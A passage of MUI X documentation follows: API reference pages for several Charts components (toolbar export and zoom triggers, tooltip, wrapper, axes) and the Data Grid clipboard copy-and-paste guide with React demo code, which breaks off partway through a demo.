import { ChartsToolbarImageExportTrigger } from '@mui/x-charts-pro/ChartsToolbarPro';
// or
import { ChartsToolbarImageExportTrigger } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| options | `{ copyStyles?: bool, fileName?: string, nonce?: string, onBeforeExport?: func, quality?: number, type: string }` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarImageExportTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarImageExportTrigger.tsx)

---

# Source: https://mui.com/x/api/charts/charts-toolbar-print-export-trigger.md

# ChartsToolbarPrintExportTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Toolbar](/x/react-charts/toolbar/)

## Import

```jsx
import { ChartsToolbarPrintExportTrigger } from '@mui/x-charts-pro/ChartsToolbarPro';
// or
import { ChartsToolbarPrintExportTrigger } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| options | `{ copyStyles?: bool, fileName?: string, nonce?: string, onBeforeExport?: func }` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarPrintExportTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarPrintExportTrigger.tsx)

---

# Source: https://mui.com/x/api/charts/charts-toolbar-pro.md

# ChartsToolbarPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Toolbar](/x/react-charts/toolbar/)

## Import

```jsx
import { ChartsToolbarPro } from '@mui/x-charts-pro/ChartsToolbarPro';
// or
import { ChartsToolbarPro } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarPro.tsx)

---

# Source: https://mui.com/x/api/charts/charts-toolbar-zoom-in-trigger.md

# ChartsToolbarZoomInTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Toolbar](/x/react-charts/toolbar/)

## Import

```jsx
import { ChartsToolbarZoomInTrigger } from '@mui/x-charts-pro/ChartsToolbarPro';
// or
import { ChartsToolbarZoomInTrigger } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarZoomInTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarZoomInTrigger.tsx)

---

# Source: https://mui.com/x/api/charts/charts-toolbar-zoom-out-trigger.md

# ChartsToolbarZoomOutTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Toolbar](/x/react-charts/toolbar/)

## Import

```jsx
import { ChartsToolbarZoomOutTrigger } from '@mui/x-charts-pro/ChartsToolbarPro';
// or
import { ChartsToolbarZoomOutTrigger } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarZoomOutTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartsToolbarPro/ChartsToolbarZoomOutTrigger.tsx)

---

# Source: https://mui.com/x/api/charts/charts-tooltip-container.md

# ChartsTooltipContainer API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Tooltip](/x/react-charts/tooltip/)

## Import

```jsx
import { ChartsTooltipContainer } from '@mui/x-charts/ChartsTooltip';
// or
import { ChartsTooltipContainer } from '@mui/x-charts';
// or
import { ChartsTooltipContainer } from '@mui/x-charts-pro';
// or
import { ChartsTooltipContainer } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| anchor | `'node' \| 'pointer'` | `'pointer'` | No |  |
| anchorEl | `HTML element \| object \| func` | - | No |  |
| children | `node` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| component | `elementType` | - | No |  |
| components (deprecated) | `{ Root?: elementType }` | `{}` | No | ⚠️ use the `slots` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| componentsProps (deprecated) | `{ root?: func \| object }` | `{}` | No | ⚠️ use the `slotProps` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| container | `(props, propName) => { if (props[propName] == null) { return new Error(`Prop '${propName}' is required but wasn't specified`); } if (typeof props[propName] !== 'object' \|  \| props[propName].nodeType !== 1) { return new Error(`Expected prop '${propName}' to be of type Element`); } return null; } \| func` | - | No |  |
| disablePortal | `bool` | `false` | No |  |
| keepMounted | `bool` | `false` | No |  |
| modifiers | `Array<{ data?: object, effect?: func, enabled?: bool, fn?: func, name?: any, options?: object, phase?: 'afterMain' \| 'afterRead' \| 'afterWrite' \| 'beforeMain' \| 'beforeRead' \| 'beforeWrite' \| 'main' \| 'read' \| 'write', requires?: Array<string>, requiresIfExists?: Array<string> }>` | - | No |  |
| open | `bool` | - | No |  |
| placement | `'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top'` | `'bottom'` | No |  |
| popperOptions | `{ modifiers?: array, onFirstUpdate?: func, placement?: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', strategy?: 'absolute' \| 'fixed' }` | `{}` | No |  |
| popperRef | `func \| { current?: { destroy: func, forceUpdate: func, setOptions: func, state: { attributes: object, elements: object, modifiersData: object, options: object, orderedModifiers: Array<object>, placement: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', rects: object, reset: bool, scrollParents: object, strategy: 'absolute' \| 'fixed', styles: object }, update: func } }` | - | No |  |
| position | `'bottom' \| 'left' \| 'right' \| 'top'` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| transition | `bool` | `false` | No |  |
| trigger | `'axis' \| 'item' \| 'none'` | `'axis'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsTooltip/ChartsTooltipContainer.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsTooltip/ChartsTooltipContainer.tsx)

---

# Source: https://mui.com/x/api/charts/charts-tooltip.md

# ChartsTooltip API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Tooltip](/x/react-charts/tooltip/)

## Import

```jsx
import { ChartsTooltip } from '@mui/x-charts/ChartsTooltip';
// or
import { ChartsTooltip } from '@mui/x-charts';
// or
import { ChartsTooltip } from '@mui/x-charts-pro';
// or
import { ChartsTooltip } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| anchor | `'node' \| 'pointer'` | `'pointer'` | No |  |
| anchorEl | `HTML element \| object \| func` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| component | `elementType` | - | No |  |
| components (deprecated) | `{ Root?: elementType }` | `{}` | No | ⚠️ use the `slots` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| componentsProps (deprecated) | `{ root?: func \| object }` | `{}` | No | ⚠️ use the `slotProps` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| container | `(props, propName) => { if (props[propName] == null) { return new Error(`Prop '${propName}' is required but wasn't specified`); } if (typeof props[propName] !== 'object' \|  \| props[propName].nodeType !== 1) { return new Error(`Expected prop '${propName}' to be of type Element`); } return null; } \| func` | - | No |  |
| disablePortal | `bool` | `false` | No |  |
| keepMounted | `bool` | `false` | No |  |
| modifiers | `Array<{ data?: object, effect?: func, enabled?: bool, fn?: func, name?: any, options?: object, phase?: 'afterMain' \| 'afterRead' \| 'afterWrite' \| 'beforeMain' \| 'beforeRead' \| 'beforeWrite' \| 'main' \| 'read' \| 'write', requires?: Array<string>, requiresIfExists?: Array<string> }>` | - | No |  |
| open | `bool` | - | No |  |
| placement | `'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top'` | `'bottom'` | No |  |
| popperOptions | `{ modifiers?: array, onFirstUpdate?: func, placement?: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', strategy?: 'absolute' \| 'fixed' }` | `{}` | No |  |
| popperRef | `func \| { current?: { destroy: func, forceUpdate: func, setOptions: func, state: { attributes: object, elements: object, modifiersData: object, options: object, orderedModifiers: Array<object>, placement: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', rects: object, reset: bool, scrollParents: object, strategy: 'absolute' \| 'fixed', styles: object }, update: func } }` | - | No |  |
| position | `'bottom' \| 'left' \| 'right' \| 'top'` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| transition | `bool` | `false` | No |  |
| trigger | `'axis' \| 'item' \| 'none'` | `'axis'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | axisValueCell | Styles applied to the axisValueCell element. Only available for axis tooltip. |
| - | cell | Styles applied to the cell element. |
| - | labelCell | Styles applied to the labelCell element. |
| - | mark | Styles applied to the mark element. |
| - | markContainer | Styles applied to the markContainer element. |
| - | paper | Styles applied to the paper element. |
| - | root | Styles applied to the root element. |
| - | row | Styles applied to the row element. |
| - | table | Styles applied to the table element. |
| - | valueCell | Styles applied to the valueCell element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsTooltip/ChartsTooltip.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsTooltip/ChartsTooltip.tsx)

---

# Source: https://mui.com/x/api/charts/charts-wrapper.md

# ChartsWrapper API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Radar](/x/react-charts/radar/)
- [Charts - Scatter](/x/react-charts/scatter/)

## Import

```jsx
import { ChartsWrapper } from '@mui/x-charts/ChartsWrapper';
// or
import { ChartsWrapper } from '@mui/x-charts';
// or
import { ChartsWrapper } from '@mui/x-charts-pro';
// or
import { ChartsWrapper } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| extendVertically | `bool` | ``false` if the `height` prop is set. And `true` otherwise.` | No |  |
| hideLegend | `bool` | `false` | No |  |
| legendDirection | `'horizontal' \| 'vertical'` | `'horizontal'` | No |  |
| legendPosition | `{ horizontal?: 'center' \| 'end' \| 'start', vertical?: 'bottom' \| 'middle' \| 'top' }` | `{ horizontal: 'center', vertical: 'bottom' }` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsWrapper/ChartsWrapper.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsWrapper/ChartsWrapper.tsx)

---

# Source: https://mui.com/x/api/charts/charts-x-axis.md

# ChartsXAxis API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Axis](/x/react-charts/axis/)

## Import

```jsx
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
// or
import { ChartsXAxis } from '@mui/x-charts';
// or
import { ChartsXAxis } from '@mui/x-charts-pro';
// or
import { ChartsXAxis } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| axisId | `number \| string` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disableLine | `bool` | `false` | No |  |
| disableTicks | `bool` | `false` | No |  |
| label | `string` | - | No |  |
| labelStyle | `object` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tickInterval | `'auto' \| array \| func` | `'auto'` | No |  |
| tickLabelInterval | `'auto' \| func` | `'auto'` | No |  |
| tickLabelMinGap | `number` | `4` | No |  |
| tickLabelPlacement | `'middle' \| 'tick'` | `'middle'` | No |  |
| tickLabelStyle | `object` | - | No |  |
| tickMaxStep | `number` | - | No |  |
| tickMinStep | `number` | - | No |  |
| tickNumber | `number` | - | No |  |
| tickPlacement | `'end' \| 'extremities' \| 'middle' \| 'start'` | `'extremities'` | No |  |
| tickSize | `number` | `6` | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsXAxis/ChartsXAxis.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsXAxis/ChartsXAxis.tsx)

---

# Source: https://mui.com/x/api/charts/charts-y-axis.md

# ChartsYAxis API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Axis](/x/react-charts/axis/)

## Import

```jsx
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
// or
import { ChartsYAxis } from '@mui/x-charts';
// or
import { ChartsYAxis } from '@mui/x-charts-pro';
// or
import { ChartsYAxis } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| axisId | `number \| string` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| disableLine | `bool` | `false` | No |  |
| disableTicks | `bool` | `false` | No |  |
| label | `string` | - | No |  |
| labelStyle | `object` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tickInterval | `'auto' \| array \| func` | `'auto'` | No |  |
| tickLabelInterval | `'auto' \| func` | `'auto'` | No |  |
| tickLabelPlacement | `'middle' \| 'tick'` | `'middle'` | No |  |
| tickLabelStyle | `object` | - | No |  |
| tickMaxStep | `number` | - | No |  |
| tickMinStep | `number` | - | No |  |
| tickNumber | `number` | - | No |  |
| tickPlacement | `'end' \| 'extremities' \| 'middle' \| 'start'` | `'extremities'` | No |  |
| tickSize | `number` | `6` | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsYAxis/ChartsYAxis.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsYAxis/ChartsYAxis.tsx)

---

# Source: https://mui.com/x/react-data-grid/clipboard.md

# Data Grid - Copy and paste

Copy and paste data using clipboard.

## Clipboard copy

You can copy selected grid data to the clipboard using the <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">C</kbd></kbd> (<kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">C</kbd></kbd> on macOS) keyboard shortcut.
The copied cell values are separated by a tab (`\t`) character and the rows are separated by a new line (`\n`) character.

The priority of the data copied to the clipboard is the following, from highest to lowest:

1. If more than one cell is selected (see [Cell selection<span class="plan-premium" title="Premium plan"></span>](/x/react-data-grid/cell-selection/)), the selected cells are copied
2. If one or more rows are selected (see [Row selection](/x/react-data-grid/row-selection/)), the selected rows are copied
3. If there is a single cell selected, the single cell is copied

```tsx
import * as React from 'react';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import Alert from '@mui/material/Alert';
import AlertTitle from '@mui/material/AlertTitle';

export default function ClipboardCopy() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 20,
  });

  const [copiedData, setCopiedData] = React.useState('');

  const initialState = {
    ...data.initialState,
    columns: {
      columnVisibilityModel: {
        id: false,
        desk: false,
      },
    },
  };

  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 400 }}>
        <DataGridPremium
          {...data}
          initialState={initialState}
          checkboxSelection
          disableRowSelectionOnClick
          cellSelection
          onClipboardCopy={(copiedString) => setCopiedData(copiedString)}
          ignoreValueFormatterDuringExport
        />
      </div>
      <Alert severity="info" sx={{ width: '100%', mt: 1 }}>
        <AlertTitle>Copied data:</AlertTitle>
        <code
          style={{
            display: 'block',
            maxHeight: 200,
            overflow: 'auto',
            whiteSpace: 'pre-line',
          }}
        >
          {copiedData}
        </code>
      </Alert>
    </div>
  );
}

```

## Clipboard paste [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

:::info

<details style="margin: 0">
  <summary markdown="span">Video preview</summary>
  <video muted loop playsinline controls style="margin-top: 8px">
    <source src="https://github-production-user-asset-6210df.s3.amazonaws.com/13808724/237996024-abfcb5c6-9db6-4677-9ba7-ae97de441080.mov" type="video/mp4" />
  </video>
</details>
:::

:::warning
To make sure the copied cells are formatted correctly and can be parsed,
it is recommended to set the `ignoreValueFormatterDuringExport` prop to `true`.
During clipboard copy operation, the raw cell values will be copied instead of the formatted values,
so that the values can be parsed correctly during the paste operation.

```tsx
<DataGridPremium ignoreValueFormatterDuringExport />
```

:::

You can paste data from clipboard using the <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">V</kbd></kbd> (<kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">V</kbd></kbd> on macOS) keyboard shortcut.
The paste operation only affects cells in the columns that are [`editable`](/x/react-data-grid/editing/#making-a-column-editable).

Same as with editing, you can use `valueParser` to modify the pasted value and `valueSetter` to update the row with new values.
See [Value parser and value setter](/x/react-data-grid/editing/#value-parser-and-value-setter) section of the editing documentation for more details.

The behavior of the clipboard paste operation depends on the selection state of the Data Grid and the data pasted from clipboard.
The priority is the following, from highest to lowest:

1. If multiple cells are selected (see [Cell selection<span class="plan-premium" title="Premium plan"></span>](/x/react-data-grid/cell-selection/)), the selected cells are updated with the pasted values.
2. If one or more rows are selected (see [Row selection](/x/react-data-grid/row-selection/)), the selected rows are updated with the pasted values.
3. If a single cell is selected, the values are pasted starting from the selected cell.

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ClipboardPaste() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 20,
    editable: true,
  });

  const initialState = {
    ...data.initialState,
    columns: {
      columnVisibilityModel: {
        id: false,
        desk: false,
      },
    },
  };

  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPremium
        {...data}
        loading={loading}
        initialState={initialState}
        checkboxSelection
        disableRowSelectionOnClick
        ignoreValueFormatterDuringExport
        cellSelection
      />
    </div>
  );
}

```

### Disable clipboard paste

To disable clipboard paste, set the `disableClipboardPaste` prop to `true`:

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ClipboardPasteDisabled() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 6,
    editable: true,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium {...data} disableClipboardPaste />
    </div>
  );
}

```

### Disable pasting to the specific cells within a row

The clipboard paste operation respects the [cell editing rules](/x/react-data-grid/editing/#disable-editing-of-specific-cells-within-a-row).
Use this to prevent pasting into certain cells based on row data or other conditions.

The demo below shows a product inventory grid with the following paste restrictions:

- **Price column:** Cannot be pasted in archived products
- **Status column:** Cannot be pasted in any row
- **Last Modified column:** Cannot be pasted in any row

Try selecting multiple cells and pasting data.
Cells marked as non-editable by `isCellEditable` will not be updated.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Chip from '@mui/material/Chip';
import {
  DataGridPremium,
  GridColDef,
  DataGridPremiumProps,
} from '@mui/x-data-grid-premium';

interface Row {
  id: number;
  product: string;
  quantity: number;
  price: number;
  status: 'active' | 'archived';
  lastModified: string;
}

const rows: Row[] = [
  {
    id: 1,
    product: 'Laptop',
    quantity: 10,
    price: 999.99,
    status: 'active',
    lastModified: '2024-01-15',
  },
  {
    id: 2,
    product: 'Mouse',
    quantity: 50,
    price: 29.99,
    status: 'active',
    lastModified: '2024-01-16',
  },
  {
    id: 3,
    product: 'Keyboard',
    quantity: 30,
    price: 79.99,
    status: 'archived',
    lastModified: '2024-01-10',
  },
  {
    id: 4,
    product: 'Monitor',
    quantity: 15,
    price: 299.99,
    status: 'active',
    lastModified: '2024-01-17',
  },
  {
    id: 5,
    product: 'Headphones',
    quantity: 25,
    price: 149.99,
    status: 'archived',
    lastModified: '2024-01-05',
  },
];

const columns: GridColDef<Row>[] = [
  { field: 'id', headerName: 'ID', width: 70 },
  { field: 'product', headerName: 'Product', width: 150, editable: true },
  { field: 'quantity', headerName: 'Quantity', width: 120, editable: true },
  { field: 'price', headerName: 'Price', width: 120, editable: true },
  {
    field: 'status',
    headerName: 'Status',
    width: 120,
    editable: false,
    renderCell: (params) => (
      <Chip
        label={params.value}
        color={params.value === 'active' ? 'success' : 'default'}
        size="small"
      />
    ),
  },
  {
    field: 'lastModified',
    headerName: 'Last Modified',
    width: 150,
    editable: false,
  },
];

const isCellEditable: DataGridPremiumProps['isCellEditable'] = (params) => {
  // Price cannot be edited for archived products
  if (params.field === 'price' && params.row.status === 'archived') {
    return false;
  }
  return true;
};

export default function ClipboardPasteIsCellEditable() {
  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        cellSelection
        disableRowSelectionOnClick
        ignoreValueFormatterDuringExport
        isCellEditable={isCellEditable}
      />
    </Box>
  );
}

```

### Persisting pasted data

Clipboard paste uses the same API for persistence as [Editing](/x/react-data-grid/editing/persistence/)—use the `processRowUpdate` prop to persist the updated row in your data source:

```tsx
processRowUpdate?: (newRow: R, oldRow: R) => Promise<R> | R;
```

The row will be updated with a value returned by the `processRowUpdate` callback.
If the callback throws or returns a rejected promise, the row will not be updated.

The demo below shows how to persist the pasted data in the browser's `sessionStorage`.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridValidRowModel,
  DataGridPremiumProps,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import Button from '@mui/material/Button';

const initialRows = [
  {
    id: '9feb3743-fbf1-585b-ae15-25a1e91126d1',
    desk: 'D-7702',
    commodity: 'Frozen Concentrated Orange Juice',
    traderName: 'Jeffrey Nichols',
    traderEmail: 'weg@tozezew.mz',
    quantity: 22542,
    filledQuantity: 0.6027859107443883,
  },
  {
    id: '6aa80501-f0f1-50e4-95d9-94eac5536d24',
    desk: 'D-5855',
    commodity: 'Oats',
    traderName: 'Henrietta Gill',
    traderEmail: 'ha@ovuewadip.ca',
    quantity: 39244,
    filledQuantity: 0.5139893996534503,
  },
  {
    id: 'd4d49ff6-9a37-5490-94b3-c3dea5c8f787',
    desk: 'D-8853',
    commodity: 'Cocoa',
    traderName: 'Harriet Peters',
    traderEmail: 'wezbibil@meced.pt',
    quantity: 81111,
    filledQuantity: 0.24879486136282378,
  },
  {
    id: '1db4a0e5-aca2-5ae7-89f1-aca3756c6c2c',
    desk: 'D-3882',
    commodity: 'Wheat',
    traderName: 'Polly Sims',
    traderEmail: 'ujaacazas@pobgag.ye',
    quantity: 91665,
    filledQuantity: 0.7220967653957344,
  },
  {
    id: 'cc24d3fc-0d9b-56f1-8cdd-89199092e711',
    desk: 'D-94',
    commodity: 'Sugar No.14',
    traderName: 'Jim Pratt',
    traderEmail: 'irno@re.iq',
    quantity: 98763,
    filledQuantity: 0.9177019734110953,
  },
  {
    id: '181ae856-c185-5895-a996-9ed822f31721',
    desk: 'D-8570',
    commodity: 'Frozen Concentrated Orange Juice',
    traderName: 'Erik Kelley',
    traderEmail: 'pado@dawom.ar',
    quantity: 8524,
    filledQuantity: 0.5193571093383388,
  },
  {
    id: '3a199260-246e-5bb7-a20e-04d4dfae798d',
    desk: 'D-2253',
    commodity: 'Adzuki bean',
    traderName: 'Victor Howell',
    traderEmail: 'zi@orager.cl',
    quantity: 60806,
    filledQuantity: 0.9243989080024998,
  },
  {
    id: 'ad1bdfe2-4dbd-58bb-b432-f4c50b2e8de8',
    desk: 'D-6307',
    commodity: 'Soybeans',
    traderName: 'Ethan Clark',
    traderEmail: 'wij@nepocreh.tt',
    quantity: 48391,
    filledQuantity: 0.7982062780269058,
  },
  {
    id: '6040095c-da9b-507f-8bc2-5c0511019d2c',
    desk: 'D-2429',
    commodity: 'Corn',
    traderName: 'Katie Long',
    traderEmail: 'doga@raecu.gg',
    quantity: 51252,
    filledQuantity: 0.08549910247404979,
  },
  {
    id: '1f90134c-c9b0-556f-b60b-cd7d150f124c',
    desk: 'D-4598',
    commodity: 'Soybeans',
    traderName: 'Etta Marsh',
    traderEmail: 'riztuw@rol.jo',
    quantity: 59123,
    filledQuantity: 0.619099166145155,
  },
  {
    id: 'f3fb76f5-82b4-562e-b873-bec5f9a09e07',
    desk: 'D-9116',
    commodity: 'Soybean Meal',
    traderName: 'Emma Wilkerson',
    traderEmail: 'vispuhgoh@adkimac.kr',
    quantity: 4861,
    filledQuantity: 0.756222999382843,
  },
  {
    id: '468f03c0-ee5a-51d4-807e-e65b108ed7ca',
    desk: 'D-9046',
    commodity: 'Robusta coffee',
    traderName: 'Douglas Boone',
    traderEmail: 'givuce@jisalta.jp',
    quantity: 41630,
    filledQuantity: 0.5862118664424694,
  },
  {
    id: '856c6022-f062-57fe-a618-b8a044d94995',
    desk: 'D-5940',
    commodity: 'Coffee C',
    traderName: 'Delia Collins',
    traderEmail: 'ga@pukop.kg',
    quantity: 42184,
    filledQuantity: 0.17279063151905935,
  },
  {
    id: 'e67a7da2-623e-5a37-afe7-d9d61f6c6707',
    desk: 'D-166',
    commodity: 'Oats',
    traderName: 'Carl Allison',
    traderEmail: 'biviv@loucu.jm',
    quantity: 42818,
    filledQuantity: 0.24769956560325096,
  },
  {
    id: 'fde4e74d-77f8-5325-8401-8093cea3b48d',
    desk: 'D-2177',
    commodity: 'Soybean Oil',
    traderName: 'Jeffrey Stone',
    traderEmail: 'vaj@wazvi.fr',
    quantity: 66766,
    filledQuantity: 0.3001977054189258,
  },
  {
    id: '874e66e5-435d-555c-9ccf-4a776446b1c3',
    desk: 'D-1732',
    commodity: 'Oats',
    traderName: 'Jason Holland',
    traderEmail: 'lef@nameteh.com',
    quantity: 79141,
    filledQuantity: 0.3829999620929733,
  },
  {
    id: '95379b05-69e2-56da-997c-3e5c3892af8d',
    desk: 'D-5479',
    commodity: 'Rapeseed',
    traderName: 'Alfred Cortez',
    traderEmail: 'loeg@ufooni.eu',
    quantity: 77715,
    filledQuantity: 0.35680370584829185,
  },
  {
    id: 'b71a1c39-dd89-59e4-90ed-0eba4708d2bf',
    desk: 'D-7786',
    commodity: 'Frozen Concentrated Orange Juice',
    traderName: 'Eddie Olson',
    traderEmail: 'sigjap@vas.sc',
    quantity: 78507,
    filledQuantity: 0.7016953902199804,
  },
  {
    id: '8d3305fd-40a5-5b91-a677-7c3a12f42abb',
    desk: 'D-3166',
    commodity: 'Frozen Concentrated Orange Juice',
    traderName: 'Louisa Coleman',
    traderEmail: 'nezcen@mihrotab.pa',
    quantity: 47797,
    filledQuantity: 0.16090968052388224,
  },
  {
    id: '1da5290b-1990-58a5-bcba-bd0ab6a38ce9',
    desk: 'D-6935',
    commodity: 'Soybean Oil',
    traderName: 'Franklin Barrett',
    traderEmail: 'be@fejafo.au',
    quantity: 95833,
    filledQuantity: 0.47529556624544783,
  },
];

const visibleFields = [
  'commodity',
  'traderName',
  'traderEmail',
  'quantity',
  'filledQuantity',
];

const useSessionStorageData = () => {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 0,
    maxColumns: 7,
    editable: true,
